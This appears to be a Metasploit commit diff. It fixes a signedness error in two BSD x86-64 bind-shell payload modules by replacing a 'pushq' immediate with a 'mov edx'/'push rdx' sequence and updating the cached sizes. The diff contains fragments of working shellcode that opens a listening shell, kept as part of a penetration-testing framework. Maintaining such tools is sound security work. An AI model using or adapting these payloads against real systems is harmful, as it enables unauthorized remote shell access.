Land rapid7#6003, @earthquake's x86-64 pushq signedness error fixed

Author: jvazquez-r7

modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb

@@ -10,7 +10,7 @@
 
 module Metasploit3
 
-  CachedSize = 89
+  CachedSize = 90
 
   include Msf::Payload::Single
   include Msf::Payload::Bsd
@@ -46,7 +46,8 @@ def initialize(info = {})
             "\x52"                 +#  	push   %rdx                        #
             "\x52"                 +#  	push   %rdx                        #
             "\x52"                 +#  	push   %rdx                        #
-            "\x68\x00\x1c\x11\x5c" +#   pushq  $0x5c111c00                 #
+            "\xba\x00\x1c\x11\x5C" +#   mov edx,0x5c111c00                 #
+            "\x52"                 +#	  push   %rdx                        #
             "\x48\x89\xe6"         +#   mov    %rsp,%rsi                   #
             "\x6a\x1c"             +#   pushq  $0x1c                       #
             "\x5a"                 +#  	pop    %rdx                        #

modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb

@@ -10,7 +10,7 @@
 
 module Metasploit3
 
-  CachedSize = 87
+  CachedSize = 88
 
   include Msf::Payload::Single
   include Msf::Payload::Bsd
@@ -44,7 +44,8 @@ def initialize(info = {})
             "\x0f\x05"             +#	syscall                            #
             "\x48\x97"             +#	xchg   %rax,%rdi                   #
             "\x52"                 +#	push   %rdx                        #
-            "\x68\x00\x02\x11\x5c" +#	pushq  $0x5c110200                 #
+            "\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200                 #
+            "\x52"                 +#	push   %rdx                        #
             "\x48\x89\xe6"         +#	mov    %rsp,%rsi                   #
             "\x6a\x10"             +#	pushq  $0x10                       #
             "\x5a"                 +#	pop    %rdx                        #